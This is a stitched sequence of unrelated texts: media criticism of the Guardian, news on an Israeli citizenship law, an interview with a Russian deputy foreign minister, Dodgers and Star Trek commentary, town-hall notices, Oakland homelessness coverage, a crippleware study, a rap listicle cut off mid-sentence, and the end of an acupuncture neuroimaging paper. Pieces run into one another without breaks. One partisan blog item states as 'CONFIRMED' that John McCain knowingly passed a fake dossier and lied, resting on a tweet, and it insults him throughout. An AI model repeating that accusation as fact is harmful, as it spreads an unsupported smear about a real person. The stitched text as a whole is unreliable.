Indeed, what is the Guardian’s glossy Weekend magazine if not one giant advert? In 2013 the magazine’s blind date feature had one lucky couple jetting off to Los Angeles for the weekend courtesy of Air New Zealand. The previous October over 100,000 people marched in London in opposition to the most severe cuts to public spending since the second world war. On the same day the Weekend magazine thought it appropriate to publish an interview with actress Romola Garai accompanied by a photo shoot of her advertising a £5,800 dress.
All this is not to say the Guardian is worthless or shouldn’t be read. Far from it. There are many great writers doing brilliant work published in the Guardian – Monbiot and Jones among them – and many important news reports too. I buy the Guardian every day, and have even written for the paper a couple of times when they let me. What I’m arguing is we need to go beyond wishful thinking about Guardian Exceptionalism and seriously consider how corporate advertising and commercial interests influences, and likely limits, the breadth and depth of the editorial content of the newspaper.
This enlightening process is essential for positive social change. Because only once we understand the deficiencies of even our best media outlets can we begin to realise that radical alternatives are needed. And only once we have a clear understanding of what those problems are can we start to imagine what a better media will actually look like.
AdvertisementsJERUSALEM (AFP) -- Israel's Knesset has passed a law which would enable the court system to revoke the citizenship of anyone convicted of spying, treason or helping the enemy during times of war.
The bill, which was passed by 37 to 11 at a late-night session on Monday, was initiated by two Knesset members from the ultra-nationalist Yisrael Beitenu party of Israeli Foreign Minister Avigdor Lieberman.
The new legislation empowers the Israeli court system to revoke the citizenship of anyone convicted on charges of "terrorism," espionage, helping the enemy during time of war or any other act which harms national sovereignty.
"Without loyalty, there can be no citizenship," Lieberman said just minutes after the bill was passed, in comments reported by the Jerusalem Post. "Any person who harms the country cannot enjoy the benefits of citizenship and its fruit."
The law is part of Lieberman's "no loyalty, no citizenship" campaign which he pushed during the run up to the 2009 elections, which is widely understood to target Israel's Arab minority.
Arab Israeli MPs blasted as "racist" the new law which they said was aimed solely at the country's Arab minority, in a stance backed by the Association for Civil Rights in Israel.
"MKs have made it clear that even though the wording of the bill is broad, it is very clearly aimed at Israel's Arab citizens, and sends them a message that their citizenship is not guaranteed," ACRI spokeswoman Ronit Sela told AFP.
In passing the bill, the parliament was sending "a very severe" message to the Arab community which makes up around a fifth of Israel's citizens, she said.
"The vote in support of this bill shows that the Knesset has lost sight of a very important principle: that citizenship is not a prize that is given or taken away, it is a person's protected right," she said.
Although a similar procedure for revoking citizenship already exists under the 1952 Nationality Law, it could only be done through the interior ministry.
"Before, it was a separate process handled by the interior ministry, but now, if the court has convicted someone, they can revoke citizenship at the same time as handing down sentence," she said.
The move will also affect those with residency status, such as Palestinian residents of occupied Jerusalem, she said.
At the same time, MPs also backed, by 29 in favor to 8 against, a move to revoke the pension of Azmi Bishara, a former Arab Israeli MP who fled the country four years ago after being accused of helping Lebanon's Hezbollah militia.
Bishara left Israel in April 2007 following allegations he advised Hezbollah and directed its rocket fire against Israel during the Second Lebanon War in 2006. He has repeatedly denied the claims.
Israel's 1.3 million Arab citizens, who make up 20 percent of the population, are mostly Palestinians who remained in the country following the creation of the Israel in 1948, along with their descendants.DW: Building mutual security in the Euro-Atlantic region also means making progress in the area of nuclear disarmament. US President Obama made some proposals in his Berlin speech. What would be the next steps on this?
Alexei Meshkov: We have to look at all these issues with a comprehensive approach. We and the United States have already made progress. But there are other nuclear powers and today there are many types of weaponry comparable to nuclear weapons. So, I think that we need to have a new comprehensive view on all the arms control issues together.
The US and Russia have been cooperating on the Syria crisis. From your point of view, what are the next steps for Geneva II [Middle East peace conference]?
Consultations on convening Geneva II are taking place, they just had a technical meeting in Geneva yesterday and the day before. I am sure that before we manage to convene Geneva II, we will have the possibility to stop the bloodshed in this country.
Do you have proposals or visions for that?
Our mediators are negotiating together with American colleagues and with the United Nations. As you know, the government of Syria formed their negotiating command but it is very important for the opposition to be really represented if they are to go to Geneva. Without preconditions.
Iran and the nuclear question are also on the table. The US Senate is discussing additional sanctions they want to impose on Iran. What's the Russian position?
Russia has blocked UN Security Council resolutions condemning the Syrian government
We have to work hard today, together with our partners and together with Iran, to make a real breakthrough on this issue. In the forthcoming weeks we will have another meeting in Geneva on these issues. There were very important positive signs in recent weeks, and it's important to move forward.
Do you think additional sanctions would be counterproductive, or would you tolerate them?
The Russian position is very well known. We accept only those sanctions which are approved by the UN Security Council. We are definitively against unilateral sanctions.
Germany is negotiating with the European Union, with Ukraine, with Georgia and with other states over an association treaty. Russia is opposing this - why, and what does it mean for the German-Russian relationship?
As far as I understand, it's not Germany, it's the European Union …
… but Germany is a leading country of the European Union …
… I know that. And no, we expressed our position openly. We are not against these agreements in principle. But Ukraine, for example, is currently a part of the CIS, the free trade zone of the Commonwealth of Independent States [former Soviet countries]. The association agreement creates a free trade zone between Ukraine and the EU and this should not happen without our consent. We are not ready, as we have said, to adopt the norms negotiated with Ukraine. So we'll need to have a close look at how it might affect our economy and take the appropriate measures.This is purely an economic issue; it is not about politics. We have to protect our economy.
Alexei Meshkov has been Russia's deputy foreign minister since December 2012.Re-energized by Guggenheim Baseball Management saving the franchise from Frank McCourt’s reign, and a run to the National League Championship Series in 2013, expectations for the Los Angeles Dodgers grew exponentially heading into the 2014 season.
In August of that year, ace Clayton Kershaw infamously proclaimed it was “World Series or bust” for the Dodgers. His comments matched with former manager Don Mattingly’s belief the club should embrace their expectations, but nonetheless caused a media firestorm.
That came as a surprise to Kershaw, who later explained it’s a view he believed all teams shared. Los Angeles has yet to get over the hump, reaching the NLCS last year for only the second time during their four-year run as NL West champions.
The Dodgers are among the favorites to win the 2017 World Series, and on Tuesday, Corey Seager expressed the sentiment Kershaw did in 2014, according to ESPN’s Doug Padilla:
“Yeah, that’s always got to be the mindset. The goal at the beginning of the year is always to win a World Series, and if you don’t, it’s a disappointment. Last year was a disappointment. It was a good year but still a disappointment to lose.”
The Dodgers return the core of a team that went 91-71 and erased an eight-game deficit to San Francisco Giants to win the division. That was despite losing Kershaw to the disabled list for more than two months, and setting an MLB record by putting 28 different players on the DL.
Although Seager is not one to put personal accolades ahead of the team’s accomplishments, his 2016 campaign was wildly successful even if it did not end with the Dodgers hoisting the World Series trophy.
Seager was the unanimous NL Rookie of the Year selection and finished third in NL MVP voting. The 22-year-old once again is expected to play a significant role in the heart of the Dodgers lineup, all the while providing steady defense at shortstop.While most fans enjoyed Benedict Cumberbatch’s portrayal of Khan Noonien Singh, Star Trek Into Darkness didn’t exactly make the majority of die-hards or even casual moviegoers happy. Lots of people have been keen to hash out why, from too many explosions a lack of exploration, but was poor marketing a part of that?
Looks like director J.J. Abrams thinks so.
It turns out that the decision to keep Khan a secret from the general populace was a directive from the studio, who didn’t want audiences to think that they needed prior knowledge of Star Trek in order to enjoy the new film. Abrams’ exact words in an interview with MTV News are as follows:
“The truth is because it was so important to the studio that we not angle this thing for existing fans. If we said it was Khan, it would feel like you’ve really got to know what ‘Star Trek’ is about to see this movie. That would have been limiting. I can understand their argument to try to keep that quiet, but I do wonder if it would have seemed a little bit less like an attempt at deception if we had just come out with it.”
The fact that Abrams is saying so at all gives us a pretty good idea of how disappointed he must be at the reaction to Into Darkness, particularly dealing with how Khan was handled. A lot of back-pedaling has already happened where this movie is concerned; writers Orci and Kurtzman both went on record to say that Khan was shoehorned into the plot because they thought his backstory “fit” with what they had done. They made point of explaining that they only put in Easter eggs for the fans when they worked with the story they’d already built—and apparently, Khan was meant to be the greatest Easter egg of all.
Could that be why the studio shied away from showcasing Khan’s involvement in the storyline? The secrecy did make it seem as though Cumberbatch’s big reveal would be showstopping. Instead it was underwhelming, particularly because Khan’s identity didn’t further the storyline all that much. At the end of the day, he just gave them an excuse to have another scene with Leonard Nimoy’s Spock.
So why was the studio so adamant about shutting down original Trek fans in favor of comforting people who have far less investment? It’s not as though embracing the fan community doesn’t work with these heavily involved yarns—the Marvel films seem to be doing just fine, offering plenty of plotlines that operate parallel to comics canon. The upcoming Captain America sequel is a perfect example of how Marvel has handled this in their marketing. People who have read the comics know the identity of the titular Winter Soldier, but for those who have only seen the films, his face is covered in the trailer and no one tells you who he is. It prevents his identification so that new fans will get a grand emotional impact when they find out who is behind that half-mask… while the comics fans can all freak out together because they know what’s coming.
Things might have gone better for Into Darkness if they’d just owned the parallels they were playing. Never mind the studio insisting that they didn’t want general audiences to think that the film was only for Trek fans—if they didn’t want to worry over that, maybe they shouldn’t have let the creative team make a film that is so clearly miming Wrath of Khan. Say what you like about shoehorning the villain in as a fun Easter egg, if the most emotionally impacting scene of the film is a direct flip of Spock’s death from Star Trek II, that’s not a cute button for fans. The homage is too direct, it’s too on the nose. Perhaps, instead, the studio should have asked the creative team to lay off on all the internal references. Then they needn’t have worried over the rest of the movie-going public feeling left out.
Hopefully it means that the studio has at least learned a lesson or two. Current rumors are pinning Joe Cornish as the next Trek director, which seems like a good fit—maybe he can prevent a re-Khan from happening again.
Emily Asher-Perrin really just wishes they’d said so. You can bug her on Twitter and read more of her work here and elsewhere.Congressman Don Bacon announced that he will be holding his next two town halls on Saturday, May 20, with one being held in south Omaha and the other in Elkhorn. The town halls will use the same format as the previous three. “I’ve enjoyed hearing from as many constituents as possible at these town halls and the format we are using allowed me to answer 27 questions despite some disruptions,” said Congressman Bacon.
“The format allows a constituent to ask a follow-up question, and ensures we can move on to the next question in an efficient manner that is respectful of everyone’s time. The constituents who did not get their questions addressed will still receive follow-up communication from my office.”
Information for the town halls is as follows:
10: 30 a.m. – 11:30 a.m. Disabled American Veterans, Chapter #2
4515 F Street
Omaha, NE
4:30 p.m. – 5:30 p.m. Elkhorn Grandview Middle School
17801 Grand Avenue
Omaha, NE
Upcoming town halls will be held in North Omaha and Papillion. Constituents can receive notifications about future town halls by signing up for Congressman Bacon’s email list on bacon.house.gov. All town halls are open to constituents of the Second District and the media.CONFIRMED: McCain KNEW the dossier he HAND-DELIVERED to Democrats was FAKE
Donald Trump was right. Senator John McCain is a slime-ball.
The man who has milked being a POW to the nth degree in no way represents Republicans or Conservatives.
Truth be told, McCain is a crotchety old fart who’s time came decades ago. The man known as a “maverick” is a vindictive relic. And by most indications a horrible person, and even worse senator.
So much for my shot at eulogizing that clown when the devil calls him home.
take our poll - story continues below
Will the media learn anything from their biased reporting of the Jussie Smollett story? Will the media learn anything from their biased reporting of the Jussie Smollett story?
Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
Email *
Phone This field is for validation purposes and should be left unchanged. Completing this poll grants you access to The Black Sphere updates free of charge. You may opt out at anytime. You also agree to this site's Privacy Policy and Terms of Use.
Trending: SCOTUS Justice Send Warning to FAKE NEWS Journalists
What I dislike most about McCain is his willingness to sell out Republicans. He does this all to get a warm greeting from the Left who secretly despise him.
When McCain ran for president, he thought all his “reach across the aisle” rhetoric endeared him to the media. Those Leftists clowned that fool. They talked about the “T-Rex” hands, and criticized him at every turn. I remember on photo, where McCain was shocked at his treatment.
After all he had done to prove that he’s a centrist, and a friend to the Left. They abandoned him like a “baby Daddy”. Good for them. We should have done the same.
And for the McCain “hangers on”, here’s what this traitorous piece of excrement did to try to prevent Trump from becoming president.
CONFIRMED: John McCain hand-delivered the fake Fusion GPS dossier to Jim Comey for Hillary, in order to get wiretaps on the Trump Campaign — Jacob Wohl (@JacobAWohl) October 26, 2017
McCain admitted that he had taken this information to the opposition party.
Sen. John McCain may find himself facing serious questions following the disclosure that the Hillary Clinton campaign and the Democratic National Committee helped fund research utilized in the infamous, largely discredited 35-page dossier on President Donald Trump. In December, it was McCain who notoriously passed the controversial dossier documents produced by the Washington opposition research firm Fusion GPS to then FBI Director James Comey, whose agency reportedly utilized the dossier as some of the basis for its probe into alleged Russian interference in the 2016 presidential election.
But he refused to corroborate the rumor of whether he knew it was fake.
A January 11 statement from McCain attempted to explain why he provided the documents to the FBI but did not mention how he came to possess the dossier or whether he knew who funded it. “Upon examination of the contents, and unable to make a judgment about their accuracy, I delivered the information to the director of the FBI,” McCain said at the time. “That has been the extent of my contact with the FBI or any other government agency regarding this issue.”
He lied. He knew the information was fake, and plotted against the Republicans, but moreso the Trump campaign.
Say what you will about McCain’s service. That time has passed.
The man is scumbag, pure and simple.OAKLAND — There are so many homeless people living on Oakland’s streets that city officials are considering a “shelter crisis” ordinance to ease restrictions on housing for the homeless.
The City Council on Tuesday will vote whether to declare a crisis, which would suspend some rules and regulations considering housing, health and safety for “more flexible interpretation of standard building and planning requirements,” according to a city staff report.
If approved, for example, the city would be able to convert a nonresidential building (such as a warehouse) into a shelter, adding up to 100 beds and wraparound services for the homeless, said assistant city administrator Claudia Cappio, who is spearheading the initiative.
The city currently has about 400 beds available at shelters this winter, but there are about 1,400 people — most of them black or Hispanic men — living in tents or on the street on any given night. A facility for a new shelter hasn’t been identified yet.
There’s more “value in housing people in a safe and appropriate manner than meeting every last code,” Cappio said. “This is such a big crisis we’re facing … it’s much better than living on the street.”
Councilman Noel Gallo said the action was “long overdue” and the homeless population in his district had increased significantly in the last two years.
“We’re all human beings,” said Gallo, who sponsors weekly cleanups of illegal dumping and homeless encampments, especially near freeways. “Those of us will have to pay for their services, but at the end of the day we need to provide resources and shelter to get them off the street and try to bring them back to a productive level.”
Cappio said the new facility could be operational by the first quarter of next year. But the real work will be ensuring the shelter is properly funded.
The city spends millions on resources to police and to clean up homeless encampments, she said. A city task force involving several departments has spent four months coming up with a plan to spend more money on support services that address underlying causes of homelessness, Cappio said, such as mental illness, drug addiction and the economy. The city doesn’t have a proposed cost for the new services.
Cappio said the housing crisis has perpetuated the homeless problem, with rising rents and an influx of new residents squeezing the city’s most vulnerable population in their search for permanent housing. Many residents with federal Section 8 housing vouchers can’t find enough landlords willing to take them, she said.
“Those Section 8 vouchers aren’t being used. That’s money sitting on the table,” she said.
Councilman Abel Guillen, who co-sponsored the shelter crisis ordinance with Mayor Libby Schaaf, said a new shelter was a short-term fix as more long-term solutions are devised in one of the hottest rental markets in the country. Oakland needs about 15,000 housing units and “we’re nowhere close to that,” he said.
Adding shelter beds was a critical first step, but the city needs to also treat the symptoms of homelessness in order to prevent it, Guillen said.
“Declaring this crisis allows us to start tackling the problem,” he said.
Mike Blasky covers Oakland City Hall. Contact him at 510-208-6429. Follow him at Twitter.com/blasky.In the world of consumer electronics, it's common for companies to create a range of products that are all variations on a theme, containing slightly faster processors or a bit more memory. These products serve two important functions for their producers: they put the price of entry within reach of more consumers, and they induce those with a bit more cash to take steps up the product ladder and purchase a more expensive version. However, a study that has just been released by the Journal of Consumer Research suggests that the companies that take this tack have to be careful about how they go about things. Creating a product range by crippling an existing product can work against the company if word filters out.
The study was motivated in part because of a classic example that backfired. IBM once produced a pair of laser printers that differed solely in terms of their rate of output. The lower page-per-minute version, however, actually required that IBM install a specialized chip that throttled the normal printer's output—it took more work to produce, and cost more to make. That approach did not go over well with purchasers, and the authors are able to cite a history of similar products that resulted in a distinctive (and derogatory) vocabulary: "crippleware," "product sabotage," "anti-features," "defective by design," and "damaged goods."
Nevertheless, there are clearly products on the market—Apple's various i-products, to give a prominent example—that sell well despite the same sort of product differentiation. What explains the difference? The authors hypothesized that it comes down to a matter of perception. Consumers are willing to accept this sort of tiered pricing if they feel it's fair, but tend to frown on it if they feel the method of producing the difference was unethical or unfair. The study they conducted indicated they were right, but that the perception of what's ethical could be influenced in some unexpected ways.
To start with, they simply confirmed the effect by describing a new instance of IBM's approach to crippling a product to a study population, while creating a control group that was told the higher output printer was the one that required more effort to make. People generally felt that paying for an enhancement was reasonable, but responded poorly when it took effort to reduce a product's capabilities, rating that process as not only unfair, but unethical. In fact, they found it so bothersome that they preferred a competitor's product.
Through a series of experiments, however, the authors found a number of ways that companies could reduce (though not eliminate) the negative perceptions of their action. For example, the "everybody's doing it" excuse worked; when people were told that most manufacturers crippled features of low-end phones via software, the study's participants were more tolerant of the practice. Keeping the high- and low-end products distinct, even if it was purely through a cosmetic feature (case color on an MP3 player), also cut down on the sense of dissatisfaction.
It was also clear that people cared a great deal about how the difference came about. For example, simply cutting an internal connection to cripple the low-end product was worse than removing the hardware that supported the feature entirely. The timing of the disabling also mattered. The study's participants were more tolerant of a DVD player that had a high-quality video chip disabled early in the manufacturing process than they were when the chip was disabled as the last step.
In addition to providing some sense of the subtleties of consumer thinking, these studies helped eliminate an alternative explanation for the negative response: consumers don't like waste. It's more wasteful, for example, to remove and destroy a component than it is to leave it in place and cut the connection. Yet the latter approach bothered the study's participants much more.
It's easy to think that little details like this would never make their way into a consumer's brain, and thus are irrelevant to product marketing. But the sudden attention paid to the conditions at places like Foxconn (which manufactures products for Apple and other consumer electronics companies) suggest that companies can't take this for granted. The authors also point out that social media has the potential to take obscure details and turn them into widespread public outrage.
All of which suggests that companies should probably expect that their approach to creating a product range might eventually become the subject of online discussion. And, if they have chosen a process that violates some of the principles laid out by the experiments above, they might end up facing a consumer backlash.
Journal of Consumer Research, 2012. DOI: Not yet available.You’re now 30 bullets old. Maybe older. You hear all these kids yelling “lit” and repeating a phrase for three minutes and calling it a song. And you’re getting real tight. This is not music. This is clearly a weak-ass generation that has no idea how to make real rap. Or…maybe, just maybe, you are only skimming the surface of what’s out there. You are not actually bothering to listen to these new jacks and the quality music they are putting out. And since you don’t understand it, then it must be shit. Right? Cause that’s how it works. If you can’t understand it then it has to be straight garbage.
1. All these new rappers sound the same.
Pick your favorite era and I can point out five emcees that sound exactly like each other. Old heads are upset because everyone is named Lil Supa Soaka and Murda Mane, but old heads are suspiciously quick to forget that it was once super hot-to-have a 5 Percenter name. Or how Das EFX was basically that generation’s Migos. Once Das EFX blew up, every riggety-real emcee you can think of started to sound like they were Straight Out Da Sewer. Pull up that Big L and Jay Z – Stretch & Bobbito freestyle and tell me who Jay sounds like. Did we forget the super scientifically mathematical flow logical trend? I didn’t. Lots of rappers rhyming about astro physics and the cosmos. That was just a coincidence too, huh? Rappers have always sounded similar. It only bothers you now because they don’t sound the same as your favorite group from high school.
2. None of these rappers have respect for the OGs.
Respect is not easily measured. Expecting a new generation to bow down to an older generation is the opposite of progress. The reason you love Illmatic is because it doesn’t have any Run-DMC features. Imagine bumping “NY State Of Mind” and right after Nas’ verse, DMC starts kicking some bars about shell toes and hanging out with fucking Aerosmith. The current generation, for the most part, goes out of their way to get features from older rappers–even when it costs them their own money. ScHoolboy Q has E-40, Tha Dogg Pound, and Jadakiss features on his new LP. Jadakiss is basically old head royalty. And yet, I would wager you can’t name Kiss’ last album. Q has no obligation or marketing need to have a Kiss feature. It cost ScHoolboy Q more money to get that Jadakiss verse than you have spent on your entire sneaker collection. So who’s really a bigger fan of the previous generation?
3. Kanye has ruined the whole culture.
True, but he also let Madlib produce the beat for his single on his biggest album to date. Let that sink in. The world’s most infamous ego maniac let Madlib (a producer that has never charted, ever) do the beat for “No More Parties In L.A” and he makes it one of the first songs the world hears from his “greatest musical achievement.” I certainly didn’t complain. But I will not deny him for his ability to do amazingly cool shit given his position in music. Things you wouldn’t expect like dropping his entire schedule to go give the eulogy for Phife Dawg’s funeral. For a person who is obsessed with himself, he actually has very, very, very respectable taste in emcees and producers.
4. Young Thug is garbage.
Oh lawd. Trashing Young Thug is like cocaine to old heads. “Jeffrey” makes them so uncomfortable. Young Thug on the exterior looks like a dusted out scarecrow, but he raps extremely well:
“Choppers, AK’s, hand Grenades we take that kill shit no payback
But I’ll kill you and listen close no mistake that
But we don’t play basketball, bitch there’s no take back”
There’s enough in those three lines to validate that he possesses a measurable amount of skill. But the real draw for the listener is not when he flexes complex sets of syllables and sounds in rapid succession. The pay off is when Thug croaks out: “Money stand like 8 feet, just like 2 midgets.”
If DOOM said that shit you’d praise the metal-faced god for his grammatical genius. But he didn’t.
Thugga yelled that absurdly clever shit and it’s all you need to understand that there’s more going on in that prickly-pierced bleached goblin man than meets the eye. Depending on what side of the spectrum you fall. This is probably a good time to use what I call the “Sadat X Factor.” The Sadat X factor is a system I created to tell whether someone hates someone’s voice or hates the way they rap. Think about it. No one is indecisive about Sadat X. Old heads either love |
-therapy may not have confounded the verum as much as sham acupuncture arm. In addition, we did not correct for multiple regions of interest in our analyses linking nerve conduction study changes with longitudinal changes in DTI metrics. However, these regions of interest were localized in white matter adjacent to distinct somatotopically-defined subregions of S1. Thus, we made regionally-bounded hypotheses for these comparisons as regions of interest were differentially targeted by different acupuncture intervention groups, allowing for a region of interest-specific hypothesis for each group.
In conclusion, while both verum and sham acupuncture reduced CTS symptoms, verum acupuncture was superior to sham in producing improvements in both peripheral and brain neurophysiological outcomes. Furthermore, improvement in functional S1 plasticity immediately following acupuncture predicted long-term symptom relief. Interestingly, DTI analysis of white matter microstructure found that acupuncture at local versus distal acupuncture sites may improve median nerve function at the wrist by somatotopically distinct S1-mediated neuroplasticity following therapy. Our study suggests that acupuncture may improve CTS pathophysiology by both local and brain-based mechanisms involving S1 neuroplasticity.
Funding
This research was supported by the National Center for Complementary and Integrative Health (NCCIH), U.S. National Institutes of Health (NIH) (R01-AT004714, R01-AT004714-02S1, P01-AT006663, K24-AT004095), Korean Institute of Oriental Medicine (KIOM) (C16210), as well as the National Center for Research Resources (NCRR) NIH (P41-RR14075, S10-RR021110, S10-RR023043)
Supplementary material
Supplementary material is available at Brain online.
Abbreviations
Abbreviations BCTQ Boston Carpal Tunnel Syndrome Questionnaire
CTS carpal tunnel syndrome
DTI diffusion tensor imaging
S1 primary somatosensory cortex
References
Atroshi I Gummesson C Johnsson R Ornstein E Ranstam J Rosen I Prevalence of carpal tunnel syndrome in a general population. JAMA 1999 ; 282 : 153 – 8. Baraban M Mensch S Lyons DA Adaptive myelination from fish to man. Brain Res 2016 ; 1641 ( Pt A ): 149 – 61. ): Beaulieu C The basis of anisotropic water diffusion in the nervous system - a technical review. NMR Biomed 2002 ; 15 : 435 – 55. Beissner F Meissner K Bar KJ Napadow V The autonomic brain: an activation likelihood estimation meta-analysis for central processing of autonomic function. J Neurosci 2013 ; 33 : 10503 – 11. Blumenfeld-Katzir T Pasternak O Dagan M Assaf Y Diffusion MRI of structural brain plasticity induced by a learning and memory task. PLoS One 2011 ; 6 : e20678. Dhond R Ruzich E Witzel T Maeda Y Malatesta C Morse L Spatiotemporal mapping cortical neuroplasticity in carpal tunnel syndrome. Brain 2012 ; 135 ( Pt 10 ): 3062 – 73. et al.): Douaud G Jbabdi S Behrens TE Menke RA Gass A Monsch AU DTI measures in crossing-fibre areas: increased diffusion anisotropy reveals early white matter alteration in MCI and mild Alzheimers disease. Neuroimage 2011 ; 55 : 880 – 90. et al. Douaud G Mackay C Andersson J James S Quested D Ray MK Schizophrenia delays and alters maturation of the brain in adolescence. Brain 2009 ; 132 ( Pt 9 ): 2437 – 48. et al.): Druschky K Kaltenhauser M Hummel C Druschky A Huk WJ Stefan H Alteration of the somatosensory cortical map in peripheral mononeuropathy due to carpal tunnel syndrome. Neuroreport 2000 ; 11 : 3925 – 30. et al. Durkan JA A new diagnostic test for carpal tunnel syndrome. J Bone Joint Surg Am 1991 ; 73 : 535 – 8. Engvig A Fjell AM Westlye LT Moberget T Sundseth O Larsen VA Walhovd KB Memory training impacts short-term changes in aging white matter: a longitudinal diffusion tensor imaging study. Hum Brain Mapp 2012 ; 33 : 2390 – 406. Famm K Litt B Tracey KJ Boyden ES Slaoui M Drug discovery: a jump-start for electroceuticals. Nature 2013 ; 496 : 159 – 61. Farrar JT Young JP LaMoreaux L Jr. Jr. Werth JL Poole RM Clinical importance of changes in chronic pain intensity measured on an 11-point numerical pain rating scale. Pain 2001 ; 94 : 149 – 58. Ghasemi-Esfe AR Khalilzadeh O Mazloumi M Vaziri-Bozorg SM Niri SG Kahnouji H Rahmani M Combination of high-resolution and color Doppler ultrasound in diagnosis of carpal tunnel syndrome. Acta Radiol 2011 ; 52 : 191 – 7. Greve DN Fischl B Accurate and robust brain image alignment using boundary-based registration. Neuroimage 2009 ; 48 : 63 – 72. Hanggi J Koeneke S Bezzola L Jancke L Structural neuroplasticity in the sensorimotor network of professional female ballet dancers. Hum Brain Mapp 2010 ; 31 : 1196 – 206. Hanley MA Jensen MP Ehde DM Robinson LR Cardenas DD Turner JA Smith DG Clinically significant change in pain intensity ratings in persons with spinal cord injury or amputation. Clin J Pain 2006 ; 22 : 25 – 31. Hofstetter S Tavor I Tzur Moryosef S Assaf Y Short-term learning induces white matter plasticity in the fornix. J Neurosci 2013 ; 33 : 12844 – 50. Huang W Pach D Napadow V Park K Long X Neumann J Maeda Y Nierhaus T Liang F Witt CM Characterizing acupuncture stimuli using brain imaging with FMRI–a systematic review and meta-analysis of the literature. PLoS One 2012 ; 7 : e32960. Imfeld A Oechslin MS Meyer M Loenneker T Jancke L White matter plasticity in the corticospinal tract of musicians: a diffusion tensor imaging study. Neuroimage 2009 ; 46 : 600 – 7. Jenkinson M Bannister P Brady M Smith S Improved optimization for the robust and accurate linear registration and motion correction of brain images. Neuroimage 2002 ; 17 : 825 – 41. Jenkinson M Beckmann CF Behrens TE Woolrich MW Smith SM Fsl. Neuroimage 2012 ; 62 : 782 – 90. Jensen MP Chen C Brugger AM Interpretation of visual analog scale ratings and change scores: a reanalysis of two clinical trials of postoperative pain. J Pain 2003 ; 4 : 407 – 14. Kaptchuk TJ Acupuncture: theory, efficacy, and practice. Ann Intern Med 2002 ; 136 : 374 – 383. Khosrawi S Moghtaderi A Haghighat S Acupuncture in treatment of carpal tunnel syndrome: a randomized controlled trial study. J Res Med Sci 2012 ; 17 : 1 – 7. Kim J Loggia ML Cahalan CM Harris RE Beissner F Garcia RG The somatosensory link in fibromyalgia: functional connectivity of the primary somatosensory cortex is altered by sustained pain and is associated with clinical/autonomic dysfunction. Arthritis Rheumatol 2015 ; 67 : 1395 – 405. et al. Kleopa KA In the Clinic. Carpal Tunnel Syndrome. Ann Intern Med 2015 ; 163 : ITC1. Kong J Gollub R Huang T Polich G Napadow V Hui K Vangel M Rosen B Kaptchuk TJ Acupuncture de qi, from qualitative history to quantitative measurement. J Altern Complement Med 2007 ; 13 : 1059 – 70. Langevin HM Schnyer R MacPherson H Davis R Harris RE Napadow V Manual and electrical needle stimulation in acupuncture research: pitfalls and challenges of heterogeneity. J Altern Complement Med 2015 ; 21 : 113 – 28. et al. Levine DW Simmons BP Koris MJ Daltroy LH Hohl GG Fossel AH Katz JN A self-administered questionnaire for the assessment of severity of symptoms and functional status in carpal tunnel syndrome. J Bone Joint Surg Am 1993 ; 75 : 1585 – 92. Linde K Niemann K Meissner K Are sham acupuncture interventions more effective than (other) placebos? A re-analysis of data from the Cochrane review on placebo effects. Forsch Komplementmed 2010 ; 17 : 259 – 64. Lundborg G Intraneural microcirculation. Orthop Clin North Am 1988 ; 19 : 1 – 12. Ma D Liveson J Nerve Conduction Handbook. Philadelphia, FA Davis Co, 1983. Maeda Y Kettner N Holden J Lee J Kim J Cina S Functional deficits in carpal tunnel syndrome reflect reorganization of primary somatosensory cortex. Brain 2014 ; 137 ( Pt 6 ): 1741 – 52. et al.): Maeda Y Kettner N Kim J Kim H Cina S Malatesta C Primary somatosensory/motor cortical thickness distinguishes paresthesia-dominant from pain-dominant carpal tunnel syndrome. Pain 2016 ; 157 : 1085 – 93. et al. Maeda Y Kettner N Lee J Kim J Cina S Malatesta C Acupuncture evoked response in contralateral somatosensory cortex reflects peripheral nerve pathology of carpal tunnel syndrome. Med Acupunct 2013a ; 25 : 275 – 84. et al. Maeda Y Kettner N Sheehan J Kim J Cina S Malatesta C Altered brain morphometry in carpal tunnel syndrome is associated with median nerve pathology. Neuroimage (Amst) 2013b ; 2 : 313 – 9. et al. Napadow V Kettner N Liu J Li M Kwong KK Vangel M Hypothalamus and amygdala response to acupuncture stimuli in Carpal Tunnel Syndrome. Pain 2007a ; 130 : 254 – 66. et al. Napadow V Kettner N Ryan A Kwong KK Audette J Hui KK Somatosensory cortical plasticity in carpal tunnel syndrome–a cross-sectional fMRI evaluation. Neuroimage 2006 ; 31 : 520 – 30. Napadow V Liu J Li M Kettner N Ryan A Kwong KK Somatosensory cortical plasticity in carpal tunnel syndrome treated by acupuncture. Hum Brain Mapp 2007b ; 28 : 159 – 71. et al. Neal S Fields KB Peripheral nerve entrapment and injury in the upper extremity. Am Fam Physician 2010 ; 81 : 147 – 55. NIH. NIH Consensus Conference. Acupuncture. Jama 1998 ; 280 : 1518 – 24. Ooi CC Wong SK Tan AB Chin AY Abu Bakar R Goh SY Diagnostic criteria of carpal tunnel syndrome using high-resolution ultrasonography: correlation with nerve conduction studies. Skeletal Radiol 2014 ; 43 : 1387 – 94. et al. Papanicolaou GD McCabe SJ Firrell J The prevalence and characteristics of nerve compression symptoms in the general population. J Hand Surg [Am] 2001 ; 26 : 460 – 6. Phalen GS The carpal-tunnel syndrome. Seventeen years experience in diagnosis and treatment of six hundred fifty-four hands. J Bone Joint Surg Am 1966 ; 48 : 211 – 28. Sato A Sato Y Shimura M Uchida S Calcitonin gene-related peptide produces skeletal muscle vasodilation following antidromic stimulation of unmyelinated afferents in the dorsal root in rats. Neurosci Lett 2000 ; 283 : 137 – 40. Sato A Sato Y Uchida S Blood flow in the sciatic nerve is regulated by vasoconstrictive and vasodilative nerve fibers originating from the ventral and dorsal roots of the spinal nerves. Neurosci Res 1994 ; 21 : 125 – 33. Sim H Shin BC Lee MS Jung A Lee H Ernst E Acupuncture for carpal tunnel syndrome: a systematic review of randomized controlled trials. J Pain 2011 ; 12 : 307 – 14. Smith SM Jenkinson M Johansen-Berg H Rueckert D Nichols TE Mackay CE Tract-based spatial statistics: voxelwise analysis of multi-subject diffusion data. Neuroimage 2006 ; 31 : 1487 – 505. et al. Tecchio F Padua L Aprile I Rossini PM Carpal tunnel syndrome modifies sensory hand cortical somatotopy: a MEG study. Hum Brain Mapp 2002 ; 17 : 28 – 36. Tracey I Can neuroimaging studies identify pain endophenotypes in humans? Nat Rev Neurol 2011 ; 7 : 173 – 81. Wager TD Atlas LY The neuroscience of placebo effects: connecting context, learning and health. Nat Rev Neurosci 2015 ; 16 : 403 – 418. Waltz E A spark at the periphery. 